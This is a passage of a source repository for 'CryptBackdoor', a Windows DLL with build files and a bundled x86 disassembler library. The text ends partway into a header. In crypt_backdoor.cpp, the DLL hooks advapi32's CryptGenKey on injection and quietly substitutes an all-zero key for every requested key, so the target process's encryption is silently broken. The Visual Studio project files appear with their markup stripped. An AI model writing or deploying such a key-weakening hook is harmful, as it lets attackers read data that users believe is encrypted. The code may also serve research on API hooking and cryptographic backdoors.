├── .gitignore ├── CMakeLists.txt ├── CryptBackdoor.sln ├── CryptBackdoor ├── CMakeLists.txt ├── CryptBackdoor.vcxproj ├── CryptBackdoor.vcxproj.filters ├── crypt_backdoor.cpp ├── disasm-lib │ ├── cpu.c │ ├── cpu.h │ ├── disasm.c │ ├── disasm.h │ ├── disasm_x86.c │ ├── disasm_x86.h │ ├── disasm_x86_tables.h │ ├── misc.c │ └── misc.h └── mhook-lib │ ├── mhook.cpp │ └── mhook.h ├── CryptTest ├── CMakeLists.txt ├── CryptTest.vcxproj ├── CryptTest.vcxproj.filters ├── CryptTest.vcxproj.user └── main.c ├── HookLoader ├── CMakeLists.txt ├── HookLoader.vcxproj ├── HookLoader.vcxproj.filters ├── HookLoader.vcxproj.user └── main.cpp ├── LICENSE ├── README.md └── toolchain-i686-w64-mingw32.cmake /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files 2 | *.slo 3 | *.lo 4 | *.o 5 | *.obj 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Compiled Dynamic libraries 12 | *.so 13 | *.dylib 14 | *.dll 15 | 16 | # Fortran module files 17 | *.mod 18 | 19 | # Compiled Static libraries 20 | *.lai 21 | *.la 22 | *.a 23 | *.lib 24 | 25 | # Executables 26 | *.exe 27 | *.out 28 | *.app 29 | 30 | build/ 31 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 3.1.0 FATAL_ERROR) 2 | project (CryptBackdoor) 3 | 4 | add_subdirectory (CryptBackdoor) 5 | add_subdirectory (HookLoader) 6 | add_subdirectory (CryptTest) 7 | -------------------------------------------------------------------------------- /CryptBackdoor.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.23107.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CryptTest", "CryptTest\CryptTest.vcxproj", "{858F456F-9A2B-43AC-814D-E083C6A26250}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HookLoader", "HookLoader\HookLoader.vcxproj", "{1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CryptBackdoor", "CryptBackdoor\CryptBackdoor.vcxproj", "{971313EC-B76F-465C-B28C-7B6A9260F59A}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Debug|x64.ActiveCfg = Debug|x64 21 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Debug|x64.Build.0 = Debug|x64 22 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Debug|x86.ActiveCfg = Debug|Win32 23 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Debug|x86.Build.0 = Debug|Win32 24 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Release|x64.ActiveCfg = Release|x64 25 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Release|x64.Build.0 = Release|x64 26 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Release|x86.ActiveCfg = Release|Win32 27 | {858F456F-9A2B-43AC-814D-E083C6A26250}.Release|x86.Build.0 = Release|Win32 28 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Debug|x64.ActiveCfg = Debug|x64 29 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Debug|x64.Build.0 = Debug|x64 30 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Debug|x86.ActiveCfg = Debug|Win32 31 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Debug|x86.Build.0 = Debug|Win32 32 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Release|x64.ActiveCfg = Release|x64 33 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Release|x64.Build.0 = Release|x64 34 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Release|x86.ActiveCfg = Release|Win32 35 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888}.Release|x86.Build.0 = Release|Win32 36 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Debug|x64.ActiveCfg = Debug|x64 37 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Debug|x64.Build.0 = Debug|x64 38 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Debug|x86.ActiveCfg = Debug|Win32 39 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Debug|x86.Build.0 = Debug|Win32 40 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Release|x64.ActiveCfg = Release|x64 41 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Release|x64.Build.0 = Release|x64 42 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Release|x86.ActiveCfg = Release|Win32 43 | {971313EC-B76F-465C-B28C-7B6A9260F59A}.Release|x86.Build.0 = Release|Win32 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | EndGlobal 49 | -------------------------------------------------------------------------------- /CryptBackdoor/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_library (disasm disasm-lib/cpu.c 2 | disasm-lib/disasm.c 3 | disasm-lib/disasm_x86.c 4 | disasm-lib/misc.c) 5 | add_library (mhook mhook-lib/mhook.cpp) 6 | add_library (CryptBackdoor SHARED crypt_backdoor.cpp) 7 | 8 | target_link_libraries (mhook disasm) 9 | target_link_libraries (CryptBackdoor mhook) 10 | 11 | add_definitions (-DUNICODE) 12 | add_definitions (-D_UNICODE) 13 | 14 | set (needed_features 15 | cxx_nullptr) 16 | 17 | target_compile_features (CryptBackdoor PRIVATE ${needed_features}) 18 | 19 | -------------------------------------------------------------------------------- /CryptBackdoor/CryptBackdoor.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {971313EC-B76F-465C-B28C-7B6A9260F59A} 23 | Win32Proj 24 | CryptBackdoor 25 | 8.1 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | DynamicLibrary 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | DynamicLibrary 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | DynamicLibrary 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_WINDOWS;_USRDLL;CRYPTBACKDOOR_EXPORTS;%(PreprocessorDefinitions) 91 | 92 | 93 | Windows 94 | true 95 | 96 | 97 | 98 | 99 | 100 | 101 | Level3 102 | Disabled 103 | _DEBUG;_WINDOWS;_USRDLL;CRYPTBACKDOOR_EXPORTS;%(PreprocessorDefinitions) 104 | 105 | 106 | Windows 107 | true 108 | 109 | 110 | 111 | 112 | Level3 113 | 114 | 115 | MaxSpeed 116 | true 117 | true 118 | WIN32;NDEBUG;_WINDOWS;_USRDLL;CRYPTBACKDOOR_EXPORTS;%(PreprocessorDefinitions) 119 | MultiThreaded 120 | 121 | 122 | Windows 123 | true 124 | true 125 | true 126 | 127 | 128 | 129 | 130 | Level3 131 | 132 | 133 | MaxSpeed 134 | true 135 | true 136 | NDEBUG;_WINDOWS;_USRDLL;CRYPTBACKDOOR_EXPORTS;%(PreprocessorDefinitions) 137 | 138 | 139 | Windows 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /CryptBackdoor/CryptBackdoor.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {987fa466-64d4-4b8e-a098-53752a411f5b} 14 | 15 | 16 | {26a6dc9f-81f1-44ea-8515-8045ba597a0e} 17 | 18 | 19 | 20 | 21 | Source Files 22 | 23 | 24 | Source Files\mhook-lib 25 | 26 | 27 | Source Files\disasm-lib 28 | 29 | 30 | Source Files\disasm-lib 31 | 32 | 33 | Source Files\disasm-lib 34 | 35 | 36 | Source Files\disasm-lib 37 | 38 | 39 | 40 | 41 | Source Files\mhook-lib 42 | 43 | 44 | Source Files\disasm-lib 45 | 46 | 47 | Source Files\disasm-lib 48 | 49 | 50 | Source Files\disasm-lib 51 | 52 | 53 | Source Files\disasm-lib 54 | 55 | 56 | Source Files\disasm-lib 57 | 58 | 59 | -------------------------------------------------------------------------------- /CryptBackdoor/crypt_backdoor.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "mhook-lib/mhook.h" 5 | 6 | const wchar_t* kAdvapi32 = L"advapi32.dll"; 7 | bool gCryptHooked = false; 8 | 9 | typedef BOOL(WINAPI* CryptGenKeyPtr)(_In_ HCRYPTPROV, 10 | _In_ ALG_ID, 11 | _In_ DWORD, 12 | _Out_ HCRYPTKEY*); 13 | CryptGenKeyPtr SavedCryptGenKey = nullptr; 14 | 15 | FILE* log; 16 | 17 | struct PLAINTEXTKEYBLOB_t { 18 | BLOBHEADER hdr; 19 | DWORD dwKeySize; 20 | BYTE rgbKeyData[]; 21 | }; 22 | 23 | BOOL GenWeakKey(DWORD keySize, ALG_ID algid, BYTE** blob, DWORD* blobSize) { 24 | *blobSize = sizeof(PLAINTEXTKEYBLOB_t) + keySize / 8; 25 | PLAINTEXTKEYBLOB_t* keyBlob = (PLAINTEXTKEYBLOB_t*)malloc(*blobSize); 26 | *blob = (BYTE*)keyBlob; 27 | keyBlob->hdr.bType = PLAINTEXTKEYBLOB; 28 | keyBlob->hdr.bVersion = CUR_BLOB_VERSION; 29 | keyBlob->hdr.reserved = 0; 30 | keyBlob->hdr.aiKeyAlg = algid; 31 | keyBlob->dwKeySize = keySize / 8; 32 | memset(keyBlob->rgbKeyData, 0x00, keySize / 8); 33 | 34 | return TRUE; 35 | } 36 | 37 | BOOL WINAPI CryptGenKeyHook(_In_ HCRYPTPROV hProv, 38 | _In_ ALG_ID Algid, 39 | _In_ DWORD dwFlags, 40 | _Out_ HCRYPTKEY* phKey) { 41 | fputs("In CryptGenKeyHook...", log); 42 | 43 | DWORD keySize = dwFlags >> 16; 44 | if (keySize) { 45 | BYTE* keyBlob; 46 | DWORD keyBlobSize; 47 | if (GenWeakKey(keySize, Algid, &keyBlob, &keyBlobSize)) { 48 | fprintf(log, "Generate weak key, size: %d, blob: %d\n", keySize, 49 | keyBlobSize); 50 | fflush(log); 51 | return CryptImportKey(hProv, keyBlob, keyBlobSize, 0, 0, phKey); 52 | } 53 | } 54 | 55 | fputs("Using true CryptGenKey...", log); 56 | fflush(log); 57 | return SavedCryptGenKey(hProv, Algid, dwFlags, phKey); 58 | } 59 | 60 | void HookCrypt() { 61 | HMODULE hAdvapi32 = GetModuleHandle(kAdvapi32); 62 | SavedCryptGenKey = (CryptGenKeyPtr)GetProcAddress(hAdvapi32, "CryptGenKey"); 63 | assert(SavedCryptGenKey); 64 | 65 | Mhook_SetHook((PVOID*)&SavedCryptGenKey, (PVOID)CryptGenKeyHook); 66 | 67 | gCryptHooked = true; 68 | } 69 | 70 | void UnhookCrypt() { 71 | if (gCryptHooked) { 72 | Mhook_Unhook((PVOID*)&SavedCryptGenKey); 73 | } 74 | } 75 | 76 | INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved) { 77 | switch (Reason) { 78 | case DLL_PROCESS_ATTACH: 79 | log = fopen("hook.log", "a"); 80 | fprintf(log, "Hello from injected dll [%x], reason %d\n", 81 | (unsigned int)hDLL, Reason); 82 | fflush(log); 83 | HookCrypt(); 84 | break; 85 | case DLL_PROCESS_DETACH: 86 | fputs("Unhooking injected dll...", log); 87 | UnhookCrypt(); 88 | if (log) { 89 | fclose(log); 90 | log = 0; 91 | } 92 | break; 93 | } 94 | return TRUE; 95 | } 96 | -------------------------------------------------------------------------------- /CryptBackdoor/disasm-lib/cpu.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2003, Matt Conover (mconover@gmail.com) 2 | #include "cpu.h" 3 | #include 4 | 5 | // NOTE: this assumes default scenarios (i.e., we assume CS/DS/ES/SS and flat 6 | // and all have a base of 0 and limit of 0xffffffff, we don't try to verify 7 | // that in the GDT) 8 | // 9 | // TODO: use inline assembly to get selector for segment 10 | // Segment = x86 segment register (SEG_ES = 0, SEG_CS = 1, ...) 11 | BYTE *GetAbsoluteAddressFromSegment(BYTE Segment, DWORD Offset) 12 | { 13 | switch (Segment) 14 | { 15 | // Windows uses a flat address space (except FS for x86 and GS for x64) 16 | case 0: // SEG_ES 17 | case 1: // SEG_CS 18 | case 2: // SEG_SS 19 | case 3: // SEG_DS 20 | return (BYTE *)(DWORD_PTR)Offset; 21 | case 4: // SEG_FS 22 | case 5: // SEG_GS 23 | return (BYTE *)(DWORD_PTR)Offset; 24 | // Note: we're really supposed to do this, but get_teb is not implemented 25 | // in this bastardized version of the disassembler. 26 | // return (BYTE *)get_teb() + Offset; 27 | default: 28 | assert(0); 29 | return (BYTE *)(DWORD_PTR)Offset; 30 | } 31 | } 32 | 33 | // This is an GDT/LDT selector (pGDT+Selector) 34 | BYTE *GetAbsoluteAddressFromSelector(WORD Selector, DWORD Offset) 35 | { 36 | DESCRIPTOR_ENTRY Entry; 37 | GATE_ENTRY *Gate; 38 | ULONG_PTR Base; 39 | 40 | assert(Selector < 0x10000); 41 | if (!GetThreadSelectorEntry(GetCurrentThread(), Selector, (LDT_ENTRY *)&Entry)) return NULL; 42 | if (!Entry.Present) return NULL; 43 | if (Entry.System) 44 | { 45 | Base = 0; 46 | #ifdef _WIN64 47 | Base |= (ULONG_PTR)Entry.HighOffset64 << 32; 48 | #endif 49 | Base |= Entry.BaseHi << 24; 50 | Base |= Entry.BaseMid << 16; 51 | Base |= Entry.BaseLow; 52 | } 53 | else 54 | { 55 | switch (Entry.Type) 56 | { 57 | case 1: // 16-bit TSS (available) 58 | case 2: // LDT 59 | case 3: // 16-bit TSS (busy) 60 | case 9: // 32-bit TSS (available) 61 | case 11: // 32-bit TSS (busy) 62 | Base = 0; 63 | #ifdef _WIN64 64 | Base |= (ULONG_PTR)Entry.HighOffset64 << 32; 65 | #endif 66 | Base |= Entry.BaseHi << 24; 67 | Base |= Entry.BaseMid << 16; 68 | Base |= Entry.BaseLow; 69 | break; 70 | 71 | case 4: // 16-bit call gate 72 | case 5: // task gate 73 | case 6: // 16-bit interrupt gate 74 | case 7: // 16-bit task gate 75 | case 12: // 32-bit call gate 76 | case 14: // 32-bit interrupt gate 77 | case 15: // 32-bit trap gate 78 | Gate = (GATE_ENTRY *)&Entry; 79 | #ifdef _WIN64 80 | Base = ((ULONG_PTR)Gate->HighOffset64 << 32) | (Gate->HighOffset << 16) | Gate->LowOffset; 81 | #else 82 | Base = (Gate->HighOffset << 16) | Gate->LowOffset; 83 | #endif 84 | assert(!Offset); Offset = 0; 85 | break; 86 | default: 87 | assert(0); 88 | return NULL; 89 | } 90 | } 91 | return (BYTE *)Base + Offset; 92 | } 93 | 94 | -------------------------------------------------------------------------------- /CryptBackdoor/disasm-lib/cpu.h: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2003, Matt Conover (mconover@gmail.com) 2 | #ifndef CPU_H 3 | #define CPU_H 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | #pragma pack(push,1) 8 | 9 | #include 10 | #include "misc.h" 11 | 12 | //////////////////////////////////////////////////////// 13 | // System descriptors 14 | //////////////////////////////////////////////////////// 15 | 16 | #define GDT_NULL 0 17 | #define GDT_R0_CODE 0x08 18 | #define GDT_R0_DATA 0x10 19 | #define GDT_R3_CODE 0x18 20 | #define GDT_R3_DATA 0x20 21 | #define GDT_TSS 0x28 22 | #define GDT_PCR 0x30 23 | #define GDT_R3_TEB 0x38 24 | #define GDT_VDM 0x40 25 | #define GDT_LDT 0x48 26 | #define GDT_DOUBLEFAULT_TSS 0x50 27 | #define GDT_NMI_TSS 0x58 28 | 29 | // 16-bit GDT entries: 30 | // TODO: #define GDT_ABIOS_UNKNOWN 0x60 (22F30-32F2F) 31 | #define GDT_ABIOS_VIDEO 0x68 32 | #define GDT_ABIOS_GDT 0x70 // descriptor describing ABIOS GDT itself 33 | #define GDT_ABIOS_NTOS 0x78 // first 64K of NTOSKRNL 34 | #define GDT_ABIOS_CDA 0xE8 // common data area 35 | #define GDT_ABIOS_CODE 0xF0 // KiI386AbiosCall 36 | #define GDT_ABIOS_STACK 0xF8 37 | 38 | #define SELECTOR_RPL_MASK 0x03 // bits 0-1 39 | #define SELECTOR_LDT 0x04 // bit 2 40 | 41 | // for data selectors 42 | #define DATA_ACCESS_MASK (1<<0) 43 | #define DATA_WRITE_ENABLE_MASK (1<<1) 44 | #define DATA_EXPAND_DOWN_MASK (1<<2) 45 | 46 | // for code selectors 47 | #define CODE_ACCESS_MASK (1<<0) 48 | #define CODE_READ_MASK (1<<1) 49 | #define CODE_CONFORMING_MASK (1<<2) 50 | #define CODE_FLAG (1<<3) 51 | 52 | #define TASK_GATE 5 53 | #define INTERRUPT_GATE 6 54 | #define TRAP_GATE 7 55 | 56 | typedef struct _IDT_ENTRY 57 | { 58 | USHORT LowOffset; 59 | USHORT Selector; 60 | UCHAR Ignored : 5; 61 | UCHAR Zero : 3; 62 | UCHAR Type : 3; 63 | UCHAR Is32Bit : 1; 64 | UCHAR Ignored2 : 1; 65 | UCHAR DPL : 2; 66 | UCHAR Present : 1; 67 | USHORT HighOffset; 68 | #ifdef _WIN64 69 | ULONG HighOffset64; 70 | ULONG Reserved; 71 | #endif 72 | } IDT_ENTRY, TRAP_GATE_ENTRY; 73 | 74 | typedef struct _CALL_GATE_ENTRY 75 | { 76 | USHORT LowOffset; 77 | USHORT Selector; 78 | UCHAR ParameterCount: 4; 79 | UCHAR Ignored : 3; 80 | UCHAR Type : 5; 81 | UCHAR DPL : 2; 82 | UCHAR Present : 1; 83 | USHORT HighOffset; 84 | #ifdef _WIN64 85 | ULONG HighOffset64; 86 | ULONG Reserved; 87 | #endif 88 | } CALL_GATE_ENTRY; 89 | 90 | typedef struct _TASK_GATE_ENTRY 91 | { 92 | USHORT Ignored; 93 | USHORT Selector; 94 | UCHAR Ignored2 : 5; 95 | UCHAR Zero : 3; 96 | UCHAR Type : 5; 97 | UCHAR DPL : 2; 98 | UCHAR Present : 1; 99 | USHORT Ignored3; 100 | } TASK_GATE_ENTRY; 101 | 102 | typedef struct _DESCRIPTOR_ENTRY 103 | { 104 | USHORT LimitLow; 105 | USHORT BaseLow; 106 | UCHAR BaseMid; 107 | UCHAR Type : 4; // 10EWA (code), E=ExpandDown, W=Writable, A=Accessed 108 | // 11CRA (data), C=Conforming, R=Readable, A=Accessed 109 | UCHAR System : 1; // if 1 then it is a gate or LDT 110 | UCHAR DPL : 2; // descriptor privilege level; 111 | // for data selectors, MAX(CPL, RPL) must be <= DPL to access (or else GP# fault) 112 | // for non-conforming code selectors (without callgate), MAX(CPL, RPL) must be <= DPL to access (or else GP# fault) 113 | // for conforming code selectors, MAX(CPL, RPL) must be >= DPL (i.e., CPL 0-2 cannot access if DPL is 3) 114 | // for non-conforming code selectors (with call gate), DPL indicates lowest privilege allowed to access gate 115 | UCHAR Present : 1; 116 | UCHAR LimitHigh : 4; 117 | UCHAR Available: 1; // aka AVL 118 | UCHAR Reserved : 1; 119 | UCHAR Is32Bit : 1; // aka B flag 120 | UCHAR Granularity : 1; // aka G flag 121 | UCHAR BaseHi : 8; 122 | #ifdef _WIN64 123 | ULONG HighOffset64; 124 | ULONG Reserved2; 125 | #endif 126 | } DESCRIPTOR_ENTRY; 127 | 128 | typedef struct _GATE_ENTRY 129 | { 130 | USHORT LowOffset; 131 | UCHAR Skip; 132 | UCHAR Type : 5; 133 | UCHAR DPL : 2; 134 | UCHAR Present : 1; 135 | USHORT HighOffset; 136 | #ifdef _WIN64 137 | ULONG HighOffset64; 138 | ULONG Reserved; 139 | #endif 140 | } GATE_ENTRY; 141 | 142 | // TODO: update for X64 143 | typedef struct _PTE_ENTRY 144 | { 145 | ULONG Present : 1; 146 | ULONG Write : 1; 147 | ULONG Owner : 1; // E.g., user mode or supervisor mode 148 | ULONG WriteThrough : 1; 149 | ULONG CacheDisable : 1; 150 | ULONG Accessed : 1; 151 | ULONG Dirty : 1; 152 | ULONG PAT : 1; 153 | ULONG Global : 1; 154 | ULONG CopyOnWrite : 1; 155 | ULONG Prototype : 1; 156 | ULONG Transition : 1; 157 | ULONG Address : 20; 158 | } PTE_ENTRY; 159 | 160 | // TODO: update for X64 161 | typedef struct _PDE_ENTRY 162 | { 163 | ULONG Present : 1; 164 | ULONG Write : 1; 165 | ULONG Owner : 1; 166 | ULONG WriteThrough : 1; 167 | ULONG CacheDisable : 1; 168 | ULONG Accessed : 1; 169 | ULONG Reserved1 : 1; 170 | ULONG PageSize : 1; 171 | ULONG Global : 1; 172 | ULONG Reserved : 3; 173 | ULONG Address : 20; 174 | } PDE_ENTRY; 175 | 176 | // TODO: update for X64 177 | typedef struct _IO_ACCESS_MAP 178 | { 179 | UCHAR DirectionMap[32]; 180 | UCHAR IoMap[8196]; 181 | } IO_ACCESS_MAP; 182 | 183 | #define MIN_TSS_SIZE FIELD_OFFSET(TSS_ENTRY, IoMaps) 184 | // TODO: update for X64 185 | typedef struct _TSS_ENTRY 186 | { 187 | USHORT Backlink; 188 | USHORT Reserved0; 189 | ULONG Esp0; 190 | USHORT Ss0; 191 | USHORT Reserved1; 192 | ULONG NotUsed1[4]; 193 | ULONG CR3; 194 | ULONG Eip; 195 | ULONG NotUsed2[9]; 196 | USHORT Es; 197 | USHORT Reserved2; 198 | USHORT Cs; 199 | USHORT Reserved3; 200 | USHORT Ss; 201 | USHORT Reserved4; 202 | USHORT Ds; 203 | USHORT Reserved5; 204 | USHORT Fs; 205 | USHORT Reserved6; 206 | USHORT Gs; 207 | USHORT Reserved7; 208 | USHORT LDT; 209 | USHORT Reserved8; 210 | USHORT Flags; 211 | USHORT IoMapBase; 212 | IO_ACCESS_MAP IoMaps[1]; 213 | UCHAR IntDirectionMap[32]; 214 | } TSS_ENTRY; 215 | 216 | // TODO: update for X64 217 | typedef struct _TSS16_ENTRY 218 | { 219 | USHORT Backlink; 220 | USHORT Sp0; 221 | USHORT Ss0; 222 | USHORT Sp1; 223 | USHORT Ss1; 224 | USHORT Sp2; 225 | USHORT Ss3; 226 | USHORT Ip; 227 | USHORT Flags; 228 | USHORT Ax; 229 | USHORT Cx; 230 | USHORT Dx; 231 | USHORT Bx; 232 | USHORT Sp; 233 | USHORT Bp; 234 | USHORT Si; 235 | USHORT Di; 236 | USHORT Es; 237 | USHORT Cs; 238 | USHORT Ss; 239 | USHORT Ds; 240 | USHORT LDT; 241 | } TSS16_ENTRY; 242 | 243 | // TODO: update for X64 244 | typedef struct _GDT_ENTRY 245 | { 246 | USHORT LimitLow; 247 | USHORT BaseLow; 248 | union { 249 | struct { 250 | UCHAR BaseMid; 251 | UCHAR Flags1; 252 | UCHAR Flags2; 253 | UCHAR BaseHi; 254 | } Bytes; 255 | struct { 256 | ULONG BaseMid : 8; 257 | ULONG Type : 5; 258 | ULONG Dpl : 2; 259 | ULONG Pres : 1; 260 | ULONG LimitHi : 4; 261 | ULONG Sys : 1; 262 | ULONG Reserved_0 : 1; 263 | ULONG Default_Big : 1; 264 | ULONG Granularity : 1; 265 | ULONG BaseHi : 8; 266 | } Bits; 267 | } HighWord; 268 | } GDT_ENTRY; 269 | 270 | BYTE *GetAbsoluteAddressFromSegment(BYTE Segment, DWORD Offset); 271 | BYTE *GetAbsoluteAddressFromSelector(WORD Selector, DWORD Offset); 272 | 273 | #pragma pack(pop) 274 | #ifdef __cplusplus 275 | } 276 | #endif 277 | #endif // CPU_H -------------------------------------------------------------------------------- /CryptBackdoor/disasm-lib/disasm.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2004, Matt Conover (mconover@gmail.com) 2 | #undef NDEBUG 3 | #include 4 | #include 5 | #include "disasm.h" 6 | 7 | #ifdef NO_SANITY_CHECKS 8 | #define NDEBUG 9 | #undef assert 10 | #define assert(x) 11 | #endif 12 | 13 | ////////////////////////////////////////////////////////////////////// 14 | // Global variables 15 | ////////////////////////////////////////////////////////////////////// 16 | 17 | ARCHITECTURE_FORMAT SupportedArchitectures[] = 18 | { 19 | { ARCH_X86, &X86 }, 20 | { ARCH_X86_16, &X86 }, 21 | { ARCH_X64, &X86 }, 22 | { ARCH_UNKNOWN, NULL } 23 | }; 24 | 25 | typedef struct _DISASM_ARG_INFO 26 | { 27 | INSTRUCTION *MatchedInstruction; 28 | BOOL MatchPrefix; 29 | U8 *Opcode; 30 | U32 OpcodeLength; 31 | INSTRUCTION_TYPE InstructionType; 32 | U32 Count; 33 | } DISASM_ARG_INFO; 34 | 35 | ////////////////////////////////////////////////////////////////////// 36 | // Function prototypes 37 | ////////////////////////////////////////////////////////////////////// 38 | 39 | BOOL InitInstruction(INSTRUCTION *Instruction, DISASSEMBLER *Disassembler); 40 | static struct _ARCHITECTURE_FORMAT *GetArchitectureFormat(ARCHITECTURE_TYPE Type); 41 | 42 | ////////////////////////////////////////////////////////////////////// 43 | // Disassembler setup 44 | ////////////////////////////////////////////////////////////////////// 45 | 46 | BOOL InitDisassembler(DISASSEMBLER *Disassembler, ARCHITECTURE_TYPE Architecture) 47 | { 48 | ARCHITECTURE_FORMAT *ArchFormat; 49 | 50 | memset(Disassembler, 0, sizeof(DISASSEMBLER)); 51 | Disassembler->Initialized = DISASSEMBLER_INITIALIZED; 52 | 53 | ArchFormat = GetArchitectureFormat(Architecture); 54 | if (!ArchFormat) { assert(0); return FALSE; } 55 | Disassembler->ArchType = ArchFormat->Type; 56 | Disassembler->Functions = ArchFormat->Functions; 57 | return TRUE; 58 | } 59 | 60 | void CloseDisassembler(DISASSEMBLER *Disassembler) 61 | { 62 | memset(Disassembler, 0, sizeof(DISASSEMBLER)); 63 | } 64 | 65 | ////////////////////////////////////////////////////////////////////// 66 | // Instruction setup 67 | ////////////////////////////////////////////////////////////////////// 68 | 69 | BOOL InitInstruction(INSTRUCTION *Instruction, DISASSEMBLER *Disassembler) 70 | { 71 | memset(Instruction, 0, sizeof(INSTRUCTION)); 72 | Instruction->Initialized = INSTRUCTION_INITIALIZED; 73 | Instruction->Disassembler = Disassembler; 74 | memset(Instruction->String, ' ', MAX_OPCODE_DESCRIPTION-1); 75 | Instruction->String[MAX_OPCODE_DESCRIPTION-1] = '\0'; 76 | return TRUE; 77 | } 78 | 79 | // If Decode = FALSE, only the following fields are valid: 80 | // Instruction->Length, Instruction->Address, Instruction->Prefixes, Instruction->PrefixCount, 81 | // Instruction->OpcodeBytes, Instruction->Instruction->OpcodeLength, Instruction->Groups, 82 | // Instruction->Type, Instruction->OperandCount 83 | // 84 | // If Disassemble = TRUE, then Instruction->String is valid (also requires Decode = TRUE) 85 | // 86 | // WARNING: This will overwrite the previously obtained instruction 87 | INSTRUCTION *GetInstruction(DISASSEMBLER *Disassembler, U64 VirtualAddress, U8 *Address, U32 Flags) 88 | { 89 | if (Disassembler->Initialized != DISASSEMBLER_INITIALIZED) { assert(0); return NULL; } 90 | assert(Address); 91 | InitInstruction(&Disassembler->Instruction, Disassembler); 92 | Disassembler->Instruction.Address = Address; 93 | Disassembler->Instruction.VirtualAddressDelta = VirtualAddress - (U64)Address; 94 | if (!Disassembler->Functions->GetInstruction(&Disassembler->Instruction, Address, Flags)) 95 | { 96 | assert(Disassembler->Instruction.Address == Address); 97 | assert(Disassembler->Instruction.Length < MAX_INSTRUCTION_LENGTH); 98 | 99 | // Save the address that failed, in case the lower-level disassembler didn't 100 | Disassembler->Instruction.Address = Address; 101 | Disassembler->Instruction.ErrorOccurred = TRUE; 102 | return NULL; 103 | } 104 | return &Disassembler->Instruction; 105 | } 106 | 107 | /////////////////////////////////////////////////////////////////////////// 108 | // Miscellaneous 109 | /////////////////////////////////////////////////////////////////////////// 110 | 111 | static ARCHITECTURE_FORMAT *GetArchitectureFormat(ARCHITECTURE_TYPE Type) 112 | { 113 | ARCHITECTURE_FORMAT *Format; 114 | for (Format = SupportedArchitectures; Format->Type != ARCH_UNKNOWN; Format++) 115 | { 116 | if (Format->Type == Type) return Format; 117 | } 118 | 119 | assert(0); 120 | return NULL; 121 | } 122 | 123 | -------------------------------------------------------------------------------- /CryptBackdoor/disasm-lib/disasm.h: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2004, Matt Conover (mconover@gmail.com) 2 | // 3 | // 